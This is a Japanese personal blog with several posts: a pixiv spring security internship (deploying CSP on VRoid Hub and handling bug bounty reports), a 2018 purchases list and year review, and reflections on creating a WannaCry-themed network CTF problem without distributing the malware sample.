pixiv SPRING BOOTCAMP 2019のセキュリティコースに参加して最高の体験をしてきた

はじめに

念願のpixivインターンに行ってきました．

pixivは高校生の時ぐらいから知っていて，実際に絵を投稿したのは大学に入ってからですが，お絵描きを趣味とする自分にとってはとても身近な存在でした．インターンシップに参加している学生の様子をSNSで見ているととても楽しそうで，いつか自分も参加してみたいと思うようになりました．

また，バグバウンティを行っているということも魅力的でした．日本でバグバウンティをやっている企業はまだまだ少ないですし，絵を投稿する場として利用しているサービスが，実はセキュリティにも力を入れていることを知った時はpixivに対してより一層興味を抱きました．

実は，去年の夏インターンシップでも応募をしていました．その時はセキュリティコースはなく，Railsを多少やっていた自分はRailsで作られているBOOTHのコースで応募したのですが，書類選考後の面談でお祈りをいただいてしまい，半ば諦めていました．ですが今回春インターンがあるということで最後のチャンスだと思い，今回は自分が将来仕事にしたいと思っているセキュリティのコースで応募しました．

参加するまで

面談ではコードテストがあるというのはメールで聞いていて，夏に受けた時はなんの問題もなく書けたので今回もいけるだろうと思っていたら，コードテストの前にWebセキュリティに関する知識を問われて少しドキッとしました．

コードテストは頭が真っ白になりかけたりしたのですが，面接官の方達が優しかったのでなんとかなりました．その後，合格通知が来た時は思わずにやけそうになりました．セキュリティコースは今回初めて作られたものらしく，第1号ということでさらに嬉しくなりました．

業務開始まで

前日になかなか寝付けなかったのですがなんとか起きれて，無事オフィスへ到着しました．エレベーターを降りたら早速絵馬があって興奮していたのですが，オフィスへ到着するもセキュリティカードがないため入れず，うろうろと不審者化していました．

絵馬1

絵馬2

絵馬3

その後，他のインターン生の方とお互いに軽く自己紹介をしてからNDAを結んだり人事のkamikoさんのお話を聞いたり，軽くオフィスを見学してから毎週水曜日に開催されている全社会議に参加させていただきました．ここでは各プロジェクトからの報告があった後，27日から参加の4人のインターン生は自己紹介をしました．全社員の前での自己紹介，緊張しかない．

セキュリティカードと一緒に名札も貰いました．

なまえ

全社会議の後は全社ランチということで，自分のテーブルでは7人くらいでご飯を食べました．隣にいたhakatashiさんはルービックキューブをやっているということでものすごく親近感が湧きました．特に僕のメンターのkoboさんとhakatashiさんとはCTFのお話ができて良さみがありました．

様子

2/27～3/1

CSPの導入①

この期間で主にやったことはVRoid HubへのContent Security Policy（CSP）の導入です．

hub.vroid.com

CSPとはXSSやその他いくつかの攻撃を防ぐためのセキュリティレイヤーであり，これを使用することで悪意のあるコードの実行を防ぐことができます．CSP Level2 まではドメインの指定によるホワイトリスト方式が推奨されてきましたが，それがバイパス可能だということがわかってきました．そのため現在のLevel 3では nonce+strict-dynamic が推奨されていて，nonceが付与されたscriptタグしか許可しないようにします．また，strict-dynamicを付けることで nonce が付与されたscriptタグ内で動的に生成されたscriptタグも正常に動作するようになるので，アプリケーション本来の動作に影響を及ぼさずにCSPを導入することが可能になります．その他，主に付けるべきディレクティブは script-src と object-src と base-uri です．

ここら辺のお話はメンターのkoboさんが書いた以下の記事がとても詳しいです．

inside.pixiv.blog

CSPの導入は次のように進めていきました．

1. 試しに default-src: 'self' みたいなものだけ設定してCSPの違反がブラウザのコンソールに出ることを確認
2. script-src object-src base-uri の3つのディレクティブを設定
3. nonceをscriptタグに設定していく
4. CSPの違反やnonceの付与漏れなどないことを確認したら，ブラウザごとに出し分けを行う
5. CSPをReport Onlyモードで動かす
6. report uriに設定したURLにてCSPの違反レポートを確認して，修正できるものは修正
7. Report Onlyを外す

バグバウンティ関連①

その他にやっていたこととして，HackerOneに届いているレポートを過去のものも含め全て読んでいいということだったので，空き時間はひたすらレポートを読み漁っていました．なかなか世界中のハッカーが送ってくるレポートを読める機会などないと思いますし，こういう視点でバグを見つけて攻撃をするんだなというハッカーの視点のようなものを養うことができて非常に参考になりました．

エンジニア勉強会

毎週金曜日は勉強会が開かれているので参加しました． 今回はTECH SALONでLTをやる人たちのリハーサルの場でした．縦書きというユニークな話から，Kotlinの話，レイヤーの自由変形の話，CSP+SameSite cookieの話，HEIFの話まで，ジャンルも幅広く様々なお話を聞けました．僕は特にセキュリティな話が好きなのでメンターのkoboさんが話していたCSPとSameSite cookieの話を特に興味津々で聞いてました．SameSite cookieは知りませんでした．CSRF対策ということで，これから普及が進みそうな技術です．

3/4～3/6

CSPの導入②

金曜日にデプロイしない文化があるとメンターさんから教えてもらったので，3月4日の月曜日にいよいよContent Security Policy Report Onlyを有効化するPRをマージして，本番環境にデプロイしました（本番環境にデプロイするボタンをメンターのkoboさんに「このボタンを君に押して貰いたいんだ...！」と言われてクリックさせてもらえたのが印象的です）．実際に動いているサービスへのコントリビュート，最高の体験です．

Content Security Policy Report Onlyが付いている様子

unsafe-evalも外せると完璧らしいのですが外してみるとうまくいかない部分があり，結局付けたままにしました．本番環境でContent Security Policy Report Onlyがついていることを確認したらCSPの違反レポートが来るまで1日程度様子を見ました．翌日に違反レポートが来ていることは確認できたのですが，report-uri.comだとブラウザのバージョンが見れず，どのブラウザで違反が起きているのかわかりづらいということでreportUriをSentryに変更しました．

ですがその後，Sentryではあまりログが取れていないということがわかり，reportUriは2つ指定することも可能だったのでreport-uri.comとSentryの2つのURLを指定しました．また，Worker関連のCSP違反レポートが出ていることもわかったので，これに対応するために新たにworkerSrcディレクティブを追加しました．

バグバウンティ関連②

実際のバグバウンティの対応もやらせていただきました．届いていた報告をトリアージしてから報奨金の支払いまでをメンターさんに教えてもらいながらやりました．それまではレポートを読んでいただけだったのですが，未対応の脆弱性の対応のために検証を行ったり，GitHubにissueを立てて概要や影響について書いたりして，ここでも最高の体験をすることができました．

また，画像関係の脆弱性についても検証・調査を進めていました．

pixiv Bug Fix

pixivにあったバグ修正もしました．これはバグバウンティのほうで報告が来ていたもので，プレミア会員でしかできないはずのことが一般会員でも細工するとできてしまうことがあり，その修正をするためにtadsanに教わりながら開発環境を作りました．（PhpStorm初めて使った）

翌日，メンターのkoboさんに相談しながらPRを出し，それはその日中にマージされて本番環境にデプロイされました．pixiv本体へのコントリビュート，最高の体験すぎる．（「これで君は VRoid Hub と pixiv ，2つのコントリビューターだ」とkoboさんから言われた時は嬉しすぎて言葉が「なるほど...」しか出てこなかった🤔）

pixiv TECH SALON

また，3月5日の火曜日はpixiv TECH SALONに参加しました！

techsalon.pixiv.co.jp

pixivが初めて開催するテックカンファレンスで，完全招待制のイベントなのですが，インターン生は全員参加できるということで参加してきました．入場すると謎のサイリウム入りのトートバッグが渡されました．

pixiv BLUE，カルピスとなにかを混ぜたやつ（忘れてしまった）

pixiv BLUE

pixiv BLUE

メインセッションが始まるまでは両端でLTが開かれていました．僕はAのほうを聞いてからBのほうに行き，全てのLTを聞きました．LTの途中からボイチェンで声を変えて発表する『明日から女の子になるための「声」のお話』はだいぶ印象に残りました笑

メインセッションが始まってからは参加者は皆さん着席して聞いていました．どのお話も業務で直面した課題をどのように解決したかを話していたり，pixivの社風が存分に伝わってくるセッションで，聞いていてワクワクしました．

個人的に特に面白いなと思ったセッションは「大多数のメンバーがコードを書けるチームにおけるエンジニアの役割」です．pixivのBOOTHチームについてお話されていて，そもそもBOOTHチームはエンジニア以外にもコードを書ける人が多くて，エンジニア以外にPRを出してマージされたことがある人がいたり，issueを立てたことがある人はエンジニア以外を含めて全員だったり，特徴的なチームでした．

このセッションで伝えたいこととして2点挙げられていました．まず1点目は，BOOTHで商品が入荷するまでの間，ステータスが中々次のものに切り替わらないのでどうにかしたいという課題があったということで，非エンジニアの方からは新たにステータスを追加してはどうかという提案があったそうです．しかしエンジニアからすればステータスを新たに加えるということはコードの大きな変更を意味し，できれば行いたくないということで，もう少しヒアリングしてみると問題の本質はステータスを新たに加えなければいけないということではなくて，ステータスが切り替わらない間のお問い合わせ先に問題があるのでそこを変更すればよいという結論に至ったそうです．このように提案されたものを鵜呑みにするのではなく，問題の本質を見抜きそれを解決するところがエンジニアの腕の見せ所とおっしゃっていて，まさにその通りだなと納得しました．

もう1点は「小さく出す」ということで，PRなどを出す際に「ついでに」これもやっておきましたみたいなことを辞めようということです．なぜかというと，「ついでに」実装したものが実は正しく動いてなくて検証が必要だったりして，本来出すはずだった修正や機能追加が「ついでに」追加したものに足を引っ張られることでできなくなってしまうことがあるからです．そのために「小さく出す」ことで，よりスピーディーに開発が進むということでした．

メインセッションが終わった後はいよいよサイリウムを折ってから盛大な掛け声と共に懇親会がスタートして，みんなでわいわいしていました．（大学の元先輩3人と遭遇するという奇跡が起きてびっくりしました）

様子

サイリウム

いろいろもらった

3/7～3/8

CSPの導入③

CSPのReport Onlyを外すPRを作成していました．いよいよReport Onlyを外すということで少し緊張していましたが，無事VRoid HubにCSPを導入することができました．

Content Security Policyが付いている様子

バグバウンティ関連③

引き続き，画像関係の脆弱性について調査していました．Linuxのcgroupを使用した対策についての調査をローカル環境で試していて，正しく制御できていることを確認したのでissueに調査結果をまとめていたりしました．

成果発表

最終日では，インターン中の成果を発表しました．メンターのkoboさんに添削してもらいながら，ギリギリまでスライドを作っていました．僕の発表は2番目だったのですが，初手のインターン生のりゅう君が声は大きいし発表は面白いし盛り上がるしで，そんな素晴らしい発表の後に控えていた僕は「オワタ」という気持ちで見ていました．

僕の発表では初っ端から，もっと大きな声で喋ってと言われてしまい，普段から声が小さい自分にとってはなかなかに厳しい状況だったのですが，kameikeさんがすぐにマイクを用意してくれて惚れそうになりました．緊張しながらも発表を終えると，メンターのkoboさんが総評でいいことばかりおっしゃってくれて，嬉しすぎてついつい笑みがこぼれました．

様子

発表の後は記念撮影をして打ち上げ会場に移動し，鍋をつつきながら楽しく談笑していました．その後会社に戻ってからは，お土産としてpixivのステッカーやグッズなどを頂いてから帰りました．

お土産

その他の思い出

懇親会でルービックキューブについて話した

hakatashiさんの他に機械学習コースのメンターさんのfusshi-さんもルービックキューブの達人で，お話していてとても楽しかったです．

バイナリかるた貰った

koboさんから頂きました！！！！

バイナリかるた

お絵かきブートキャンプ

こちらは3月6日の水曜日にありました．水曜日のランチでご一緒させていただいた社員さんにお誘い頂いたので喜んで参加しました．絵を描く人全てが偉いという考えで，批判はなくひたすら褒めてもらうような素晴らしい世界でした．自分は絵を描くのが半年～1年に1枚という具合なので，このような集まりがあるといい感じにモチベーションを保ててよさそうだなと思いました．

円盤鑑賞会的なやつ

3月7日の木曜日にAqoursのライブDVDを鑑賞したのですが，優勝しました．

円盤鑑賞会

僕はラブライブは観ていたのですが，ラブライブサンシャインは観ていなかったので大丈夫かなぁと思っていたのですが，いざ始まってみると激熱でした．

ご飯情報

お昼はほぼ毎回メンターのkoboさんがいろいろな社員さんを誘ってくれて，ご飯に行っていました．

28日ご飯 土古里

1日ご飯 camp

4日ご飯 串亭

5日ご飯 キッチンカー

7日ご飯 enjoy

8日ご飯 みろく庵

最後に

去年の夏に2社，別のインターンに行きましたが，僕の目指している職業上どうしても堅いところが多く，このようなアットホームな会社のインターンシップは初めてでした．まず社員さんとの距離が近く，「インターン生」という別のくくりとして扱うのではなく一社員のように扱っていただいて，本当にpixivで働いているような，そんなインターンシップでした．

他にも社員の趣味を最大限に応援する会社で，個性溢れる社員さんばかりでしたし，参加する前から思っていた通りの本当に素敵な会社だなと身に沁み，「創作活動がもっと楽しくなる場所を創る」という理念が伝わってきました．

最後になりますが，メンターのkoboさん，VRoidチームの皆様，インターンシップに携わってくださった社員の皆様，そしてpixivの皆様，最高の体験をありがとうございました！

2018年 買ってよかったもの

これも今年からまとめておこうと思う．

青汁

ヤクルト 青汁のめぐり 225g(7.5g×30袋)

飲んでいてあまり実感がないんだけど，栄養の偏りが酷い時には欠かせない．健康第一で最近はほぼ毎日飲むようにしてる．

君の膵臓をたべたい

君の膵臓をたべたい (双葉文庫)

普段から小説を読むほうではないんだけど，これをきっかけにハマることになる．本を読んで泣いたのは初めてで，マジで良すぎるので気になる人は読んでみて欲しい．今は「青くて痛くて脆い」っていう小説を読んでる．

配色アイデア手帖

配色アイデア手帖 めくって見つける新しいデザインの本[完全保存版]

ちょっとした色の組み合わせに迷ったときに参考になる本．ちょくちょく使うことが多かったと思う．

栞セット

Amazon CAPTCHA

手元に本が増えてきたりしていて栞に困っていて買った．おかげで栞に困ることが無くなった．

尾崎由香1st写真集

尾崎由香1st写真集 ぴ(ゅ)あ

良いです．

Bluetoothイヤホン

【防水進化版 IPX6対応】SoundPEATS(サウンドピーツ) Q30 Plus Bluetooth イヤホン 10MMドライバー搭載 高音質 [メーカー１年保証] 低音重視 ８時間連続再生 apt-Xコーデック採用 人間工学設計 マグネット搭載 CVC6.0ノイズキャンセリング マイク付き ハンズフリー通話 ブルートゥース イヤホン IP6X防塵 ワイヤレス イヤホン Bluetooth ヘッドホン (ブラック)

首からぶら下げられるのとか防水とか知らずに買っていた... 値段も安くて普通に使えるし，普通に良い．前持っていた普通のイヤホンは紛失してしまったので，これを首からぶら下げるようにしたら今のところ問題無さそうだけど，人の目が気になってしまう．

Duo3.0

DUO 3.0

復習用CDも一緒に買った．今は2週目やってるけど，覚えづらい熟語とかを短い文章で覚えられて，復習用のCDはネイティブスピーカーがそこそこの速さで喋ってくれるので，良さみがある．

ヘアアイロン

Areti アレティ マイナスイオン ストレート カール 両用 極細 ヘアアイロン i628BK　メンズ　兼用　海外対応　プロ仕様

これは細いヘアアイロンなので使いやすい．買って1週間で，床に置いておいたところを踏んでしまい見事に壊れた．それからまた同じものを購入した．

ニトリで買った時計

温度と湿度が表示されていて便利．ただ，売り場にあった他の時計たちのどれも湿度が一致していなくて（温度はだいたい一致してた），どれを信用すればいいんやという気持ちになった．

GAN354 M Stickerless

store.tribox.com

今まで買ったルービックキューブの中では一番の性能だった．

英辞郎

booth.pm

これ↓を使うために買った． qiita.com

英語のWebサイトとかPDFとか読むのにめちゃ便利．

Fujifilm X-T2 とXF35mm F1.4 R

やっぱり一番はこれ．カメラは本当に楽しい．もっといろんな写真を撮っていきたい．

2018年を振り返る

毎年恒例の一年を振り返るエントリー．

去年のはこれ．

ywkw1717.hatenablog.com

今年はなんか，うまくいかないことが多い年だった．特に夏のインターンでは苦しんでいて，面接いい感じにいったと思っていた2社にお祈りされて絶望した．(((その2社から貰ったお祈りメールは印刷して自宅の机の前に貼っていて，やる気が出ない時に見るようにしているぐらい悔しい))) その後，ご縁があった企業さん2社に拾ってもらったのが救いだった．その他にもプライベート面でもうまくいかないことが多くて，早く2018年終わってくれと願うことが多かった気がする．

1月

特徴的なできごとがなかった，強いて言うならこの画像をツイートしたらなぜかバズったぐらい．案の定，今ではもうシールが取れてしまったけど．

あとはこの時期は，バイト先の仕事でとにかくパケットを解析していた．1月の頭に帰省していたけど，家でもちょくちょくやっていたぐらいには量が多くて，けどなかなか面白くて夢中になっていた気がする．

2月

大学院に合格した

今通っている大学には3年で学部を退学して大学院へ行くことができるプログラムがあって，それを利用して受験し合格した．合格といってもよっぽどのことがない限り，普通に話していれば合格するやつだと思う．入試では30分間の面接があり，全て英語で行われるということで，最初の約10分は自分が入学後に行う研究計画を口頭で説明する必要があって，それは丸暗記しておいた．あとは聞かれそうな質問はあらかじめ答えを考えておき，これも暗記しておいた．他に用意していなかったものとかはたどたどしい英語で返答し，なんとかなった．

初めてのスノボ

せっかくゲレンデが割と近いところに住んでいるのに一度もウィンタースポーツをやっていなかったので，ずっとやってみたかったスノボをやった．当日は地元の友達と現地集合だったけど，ゲレンデを間違えるバグが発生して，なんでかと思ったらLINEに来ていた大量のメッセージの中でいつの間にか変更になっていたっぽい．ちゃんと全部に目を通すべき． 事前に何個か動画を見てから行ったこともあってか最初から普通に滑れて，めちゃくちゃ楽しかった．途中，コースを間違えて上級者コースっぽいところへ行ってしまい，なんとかなるやろと思って滑ったら見事に一回転して足を軽く捻挫したり，帰りは山道を一人で運転していたらスリップして車に思いっきり傷をつけてしまい，親から怒られが発生したことを除けばいい思い出．

これは戒め．

3月

某CTF選考に通った

院進することは決めていたんだけど，受けるだけ受けられるということで2月辺りに受けた結果が送られてきた．この選考のなにが良かったかというと，Pwn問題がものすごく勉強になって，3問あるうちの最後の問題は確かFSBからのROPとかで解いたけど，試行錯誤してシェルを取れた時は本当に感動したことを覚えてる．ただ，Rev問の最後の問題が解けなかったのは悔しかった．

体重が過去最高になる

これは事件．大学入学時には68kgとかだったはずなのにいつの間にかデブになっていた，なぜ．身長はあるほうなのでまだましだと思うけど，さすがにやばいと思った． 4月に大学院へ入学後，貰った学生証（写真撮影は3月に行われていた）を見てデブさにがっかりしてダイエットを決めた．今では69kgぐらいに戻ったけど，あと5kgぐらい減らしたさはある．

チームロゴを作った

wabisabiというCTFチームを組んでぼちぼち活動しているけど，チームロゴの必要性を感じる機会が何度かあって，モチベーション的にもあったほうがいいだろうということでようやく完成した．侘と寂の字は知り合いに書いてもらい，それをスキャンしてあとは適当に作った．

村人Bが解けた

この頃はPwn欲が強くて，上記のCTF選考でハマってから放置していた村人Bも解いてしまおうと思って解いた．環境の問題かなんかでアドレスが違っていたり，しょうもないところで消耗した気がする．ローカルでシェルを取れてからリモートで試そうとしたけどサーバが死んでいるっぽかったのでkusanoさんに連絡をして再起動してもらい，その後リモートでもシェルを取ることができた．

4月

大学院に入学した

入学した．

情報処理技術者試験（情報処理安全確保支援士）

おちた．午後1があと1点足らず...

初めてキュービストに会った

スピードキューブを趣味でやっているんだけど，周りに同じようなことをやっている友達はいなくて，Twitterでなんとなく「大学でルービックキューブ速い人いないかなぁ」的なことを呟いたら，とあるキュービスト（社会人の方）からDMを貰って実際に会うことになった．大学の食堂で会って，十数秒で解いているところを見せてもらったり，特に印象的なのは目隠しで解くのを間近で見せてもらったことで，ありえんすごかった．

技術書典に行ってきた

初めて参加した．秋葉原で開催されていろいろ買ってきた．当日は以前バイト先にいた先輩方と遭遇したりして．懐かしみがあった．

5月

GWの勉強

HTMLとかCSSとかデザイン的なことを真面目に勉強したことがなかったので，少しやってみた．他にもGo言語とかセキュリティとかいろいろ勉強してた．

6月

四大学合同LT 発表

id:slme9364 が開催したLT．当日は三大学になったけど，自分はとあるサイトで偶々XSSを見つけてからIPAに報告したり，その脆弱性が修正されるまでの過程を発表した．内容はあまり公開したくなくて公開してない．

7月

なにをしていたのかわからない．

8月

研究計画発表

大学院での研究計画を発表するやつ．15分くらいを英語でやらないといけなくて，急いでスライドを準備して教授に添削して貰ったり，研究室の人の前で練習したりした．

SANS NetWarsトーナメント2018

行きたいなぁと前から思っていたやつで，今年は2日間開催ではなく1日開催で，勉強会がなくてCTFだけの開催だった．結果は全体で11位でギリギリ10位以内に入れなくてメダルはもらえなかった．

SECCON2018 x CEDEC CHALLENGE

8月の上旬はほぼこれに費やしていたってくらい頑張っていた．運営が作成したUnity製ゲームの脆弱性を探してチートをする競技で，今年はチートをするだけではなくて対策をして，最終的には他チームの対策が施されたゲームをチートするというものだった．主にwabisabiのメンバーを中心に4人でチームを組んで出た．

第2フェーズまではオンラインで開催される．第1フェーズの調査フェーズでは自分は主にバイナリ書き換え等をやりながらチートをしていて，第2フェーズの対策フェーズでは他3人をまとめながら自分でも対策をして，libyyy.soという共有ライブラリを作ったことが印象的．これは解析のしづらさという点やその他様々な理由からGoで書いていて，ゲーム内で使われる機密情報を管理するライブラリ．第3フェーズは第2フェーズまでで選ばれたチームが出場する予定だったけど，中々第2フェーズをやりきったチームが少なかったらしく，当日は4チームで競い合った．当日の朝に運営の方からアプリが動作しないという連絡を受けて急いでデバッグして，東京に向かう中でもデバッグしてそれでも直らず，結局早めに会場入りしてなんとか動くようにしたことを覚えている．優勝はHarekazeに持っていかれてしまって悔しいので，来年も開催されるならリベンジしたい．

株式会社ラック 5daysインターン

人事の方からお誘い頂いて参加してきた．5日間のインターンシップで，セキュリティに関する様々なことを5日間学んだ．個人的にカードゲームでインシデントレスポンスを体験するやつは結構気に入って楽しめた．だけど最終日のプログラミング体験的なやつは正直に言うと本当に退屈で，プログラミングをやったことがない人に向けたようなもので，自分と同じように退屈している人もいたと思うので，もう少し参加者のレベルを考えて調整してほしかった感がある．宿を提供してくれたのは本当に有難かった．ただ，宿から会社までの道が激つら坂道が続きまくっていて，運動不足にはしんどすぎて3日目ぐらいからタクシーを使って通勤していたのはここだけの話．

the peggies ライブ

優勝した．人生で初のライブはBABYMETALで，2度目はモーニング娘17，そしてこれは3度目のライブになった．会場は下北沢SHELTERで結構狭かったけど，優勝しすぎてしぬかと思った．自分はあまり一つのアーティストにハマることはないんだけど，珍しくハマった．当日は幼馴染と高校の友人の3人で参加して，立ち見で聴いた．自分と高校の友人は周りより身長が高くて頭一つ抜けていたのでボーカルの人と目が合うような感覚が多くて恥ずかしみがあった．絶対また行きたい．

ソフトバンクテクノロジー インターン

人事の方とseccamp'17の時にお昼ご飯を一緒になったのがきっかけで気になっていた会社．マルウェア解析のインターンをやるということで参加した．こちらも5日間のインターンシップで，30人ぐらいはいた気がする．4人のチームを組んで取引先でのインシデントに対応して報告まで行うもので，非常に実践的でよかった．実際にバイト先で似たようなことをやったこともあって，ある程度はチームの役に立てたと思うけど，最終日は祖母のお通夜と重なって途中で帰ってしまったので，最後の懇親会に出られなかったのが残念．

9月

仙台CTF 勉強会

connpass.com

去年も参加していたもので，今年は運営側で参加させてもらった．勉強会は主にフォレンジック的な内容で，タイムライン解析などについて学んだ．

初 OSS PR

shellenというOSSにPRを出した．

github.com

これはシェルコードコーディングをインタラクティブに行えるもので，アセンブルとかディスアセンブルもできる便利ツール．ある日使おうとしたら動かなくて，原因を調べたら自分でも直せそうだったのでPRを出した．対応が早くて助かった．実はこれは初めて出したPRではなくて，実際にはgoncursesというものに5月頃出したことがあったんだけど，何回かやり取りしてからは音信不通になっていて，初めてマージされたのがこちらのPRだったのでこれを初のOSS PRとしたい．

Student Go 発表

ゲームのハッキング大会で使うUnityのAndroidネイティブプラグインをGoで書いた話 from Yuya Kanesawa

www.slideshare.net

@Yamashou0314が開催したイベント．発表のビギナー枠が一つ空いていたので，CEDEC CHALLENGEで作ったlibyyy.soの話をしてきた．ビギナー枠の3人が全員同じ大学で笑った．

10月

DFIR 忍者チャレンジ

大和セキュリティさんが開催したフォレンジックコンテスト．詳しくはこちら．

ywkw1717.hatenablog.com

情報処理技術者試験（情報処理安全確保支援士）再

受かった．今回は初めて一人で受けてきた．こういう試験は毎回1，2ヵ月前からやろうと思っていても数週間前から始めてしまうことがあるあるで，今回もそうだったけど4月にやったぶんの貯金があるはずなのでいけるだろうと思っていた．午後1は半分はCTFのPwnを少しやっていれば解ける問題で，手応えがあった通り9割取れていてよかった．

SECCON 2018 Online CTF

得点があと少し足らなくて国内決勝には出られなかった．来年は学生最後なのでなんとか決勝に出たさがあるけど，メンバー不足が厳しい...

ywkw1717.hatenablog.com

11月

仙台CTF 競技会

connpass.com

9月の勉強会の競技会バージョン．こちらも運営側で参加．（実はCTFにも運営としてこっそり参加してたけど，運営ということで最終的なランキングに載ることはできなかった..）

12月

カメラ買った

良さみが深すぎるから全人類カメラを買うべき．最初からFujifilmにしようかなとぼんやり思ってたけど，バイト先の社員さんとか元社員さんとかに相談して最終的にX-T2というものに決めた．ボディとレンズだけだと思ってたら他にも小物とかあって，最終的に18万ぐらいになってしまいお金が吹っ飛んだ．

3年半ぶりにTOEICを受けた

大学1年の時に受けてから一度も受けてなかったけど，大学院1年生はタダで受けられるということもあって受検した．ちなみにこれは5月か7月だかに受け忘れた人が受けるもので，自分はTOEICがあった翌日に図書館で英語を勉強しているときに受け忘れていたことに気が付いた．さすがにアホっぽい． 得点は3年半前に受けたやつが425点で，今回は410点となぜか下がってて感情が無になった．次のTOEICは500～600点ぐらいは取っておきたさがある．

SECCON遊びに行った

去年も行ったけど今年も遊びに行った．特にバグハンターのパネルディスカッションが目的で，バグバウンティと診断の違いとか，実際に生の声を聞くことができて非常に勉強になった．

3x3x3ルービックキューブを解くのが少し速くなった

これは先日出たPB（Personal Best）

CFOPのうち，F2Lは覚えたけどPLLとOLLはまだほとんど覚えていなかったので，PLLを頑張って全部覚えたらタイムが安定してきた．いつかは20秒切るの安定させたい...

まとめ

今年の目標としてはインプットを掲げていて，技術書とかもっと読んでおきたいと思っていたけど，2018年後半ぐらいに気付いて少しずつ軌道修正していたので，あまりインプットはできていなかったように見える．英語能力の向上も掲げていたけど，こちらも大きな変化がなく，バイト先で英語を使う機会が増えたけどなかなか自分の英語能力に関しては変化がない．

こうやって振り返る記事を書いてみると，意外とそこまで最悪な年でもなかったなと思った．やっぱりうまくいかないことが多いと全てが悪く見えてくるし，一度立ち止まって自分がやってきたことを振り返るのはリセットするという意味でも非常に良いので，この一年の振り返りエントリーは続けていきたい．

2019年は，

• CTF（Pwn）
• Webセキュリティ
• 研究（ディープラーニング辺りの勉強）
• 英語

この辺を頑張りたい．

初めてCTFの問題を作ってみた所感

これはAizu Advent Calendar 2018の5日目の記事です．

adventar.org

前の人は id:masaponto さんで，

次は id:dennougorilla さんです．

はじめに

先月の11月10日（土）に仙台CTF2018というイベントが開催されました．

connpass.com

Day-1は勉強会という形で9月に開催されていて，Day-2となるこのイベントは競技会になっていて，オンサイトで実際にCTFをやるイベントでした．

去年は参加者として参加させて頂いたのですが，今回はひょんなことから運営の補助的な役割をさせて頂けることになりました．そのうちの一つとしてネットワークジャンルの問題を1問作ることになったのが，初めてCTFの問題を作ることになったきっかけです．

少しでも，初めて作問することになった人の参考になればいいなと思い，今回は初めてCTFの問題を作るにあたって気を付けたことや意識したこと，反省点などを述べていきます．

（一応，僕のスペック的なものを述べておくと，CTFが好きで何年か前から参加していますが入賞経験などはなく，たまにWriteupを投稿していたりするぐらいです... また，普段担当しているジャンルはネットワークではないです．）

出題した問題について

ネットワークジャンルには4問あり，他の3問については他の人が担当していて，その人の作成した問題を僕が解いてみて解けるかどうか確認したり，僕の問題のレビューをして頂いたりしていました．

僕が出題する問題は，ちょっとした知見があったりすることから昨年話題になったWannaCryに関係した問題を作ることになりました．

WannaCryに関係する問題ということで最初は2つ問題案を考えました．

1. 感染が疑われる端末が存在するネットワーク上の通信をキャプチャしたファイルから検体を抽出する
2. 感染が疑われる端末が存在するネットワーク上の通信をキャプチャしたファイルから感染が疑われる端末を探し出す

問題案１

まず1に関して，WannaCryにはワーム機能があり同一ネットワーク内やランダムなIPアドレスに対して感染を拡大させようとする動きをしますが，この際検体はパケットで一度に送れるサイズの限界上，回数をわけて送る必要があり，この際それぞれのデータ部分をXORで暗号化しているので，この鍵を求めて復号して検体を抽出する問題は面白いのではないかと考えました．

しかしここで，この問題は結果的に「マルウェアの配布」に当たってしまい非常にまずいのではないかと思いました． 昨今マルウェアに関して検挙される事例が増えてきていますし，パケットの検体部分を別の無害なプログラムに書き換えることも考えましたが，結局 問題案２のほうが妥当ではないかと考えました．

問題案２

こちらは，感染が疑われる端末を探し出すというものです．WannaCryに感染した端末が発するパケットは特徴的なので可能ではないかと思いました．この場合は検体を送りつける通信を含めなければ配布にはあたらないですし，感染を広げる段階で暗号化された攻撃コードの一部が含まれますが，これ単体では到底悪用できません．また，この脆弱性をMetasploitを用いて突いたパケットキャプチャファイルが配布されたイベントも過去に日本であったので，これなら法的にも大丈夫ではないかと思い，この問題案で作成することにしました．

作問する時に気をつけたこと

CTFの問題を作る上でのガイドライン的なものをPPPというCTFチームが出していたと思うので，できる限りそれを参考にしました．

github.com

日本チームscryptosが和訳したもの github.com

また，icchyさんが書かれたこちらの記事も参考になるかと思います．

icchy.hatenablog.jp

フラグの形式に関しては全体で指定されているものがなくて各々で考える感じだったのですが，最終的に他の問題のみなさんのフラグを参考にしながら，「感染が疑われる端末のIPアドレス」が妥当かなと思ったのでこれにしました．本当は，HogeCTF{XXXX}などの共通のフォーマットにしたほうが良かったかと思います．（これは一度運営の方に提案してみてもよかったのかなと思っています...） また，より混乱の少ないように問題文にフラグの例を載せるようにしました．

あとはPPPの資料の問題作成の部分になにかヒントがないか読んでみると，ネットワークのことが書いてあるForensicsはあとから追加されたものなのか，和訳がないので原文を参考にしました．

問題の作り方

これに関しては，もう少しいい作り方がなかったのかと反省すべき点が多いです．

不要なパケットは入れるべきではないので，問題に関係するパケットのみを含める必要がありました．なので，VirtualBoxで3台仮想マシンを立ち上げて，内部ネットワークで通信させ，プロミスキャスモードを「すべて許可」にすることで2点間のパケットがもう1台のマシンに対しても流れるようにし，これをパケット収集用のマシンとしました．

それからは，お互いのIPアドレスを変えながら通信させて，その度にパケットを収集した後，それらのパケットを結合することで複数のマシン間で通信しているようなpcapファイルを作りました．（実際にネットワーク問題を作成している人は，複数の端末が通信しているようなpcapファイルを作る場合，どのように作っているのでしょうか...）

また，パケット上の時間に関しては問題文と整合性が合うようにeditcapのiオプションで変更しました．

そんなこんなで作成したpcapファイルは，感染した端末によるARPスキャンが入っていたり，ターゲットにMS17-010の脆弱性がないか確認するパケット，バックドアであるDoublePulsarがないか確認するパケットなどなど，WannaCryに感染した端末が発するパケットが含まれていました．検体がpcapファイル内に含まれていないことも確認した後，このファイルを運営に提出しました．

反省点

・出現するIPアドレスが少なすぎた

これは本当に反省すべき点だなと思っていて，出現するIPアドレスは８つしかなく，問題を見ずとも出現している8つのIPアドレスを全てsubmitすれば解けてしまう問題でした．ですが，僕は一番低い得点である100点のものを作る予定だったので，これは逆に問題を簡単にする一つの要素になったのかなとも思っています．（ですが明らかに欠陥だと思うので，もう少し増やすべきでした...）

・フラグの形式

これは上述の通り，運営の方に一度提案してみてもよかったと思っています．当日，大きな混乱はなかったものの，共通のフラグフォーマットを用いたほうがわかりやすいはずなので．

最後に

当日はほとんどの参加者がこの問題を解いてくれていて，よかったのかなと思うと同時にもう少し悩むような要素を入れるべきだったのかなとも考えていて，出現するIPアドレスは少ない＆見るべきパケットの量も少ないので，勘で解かれた人も多いのではないかと思いました．

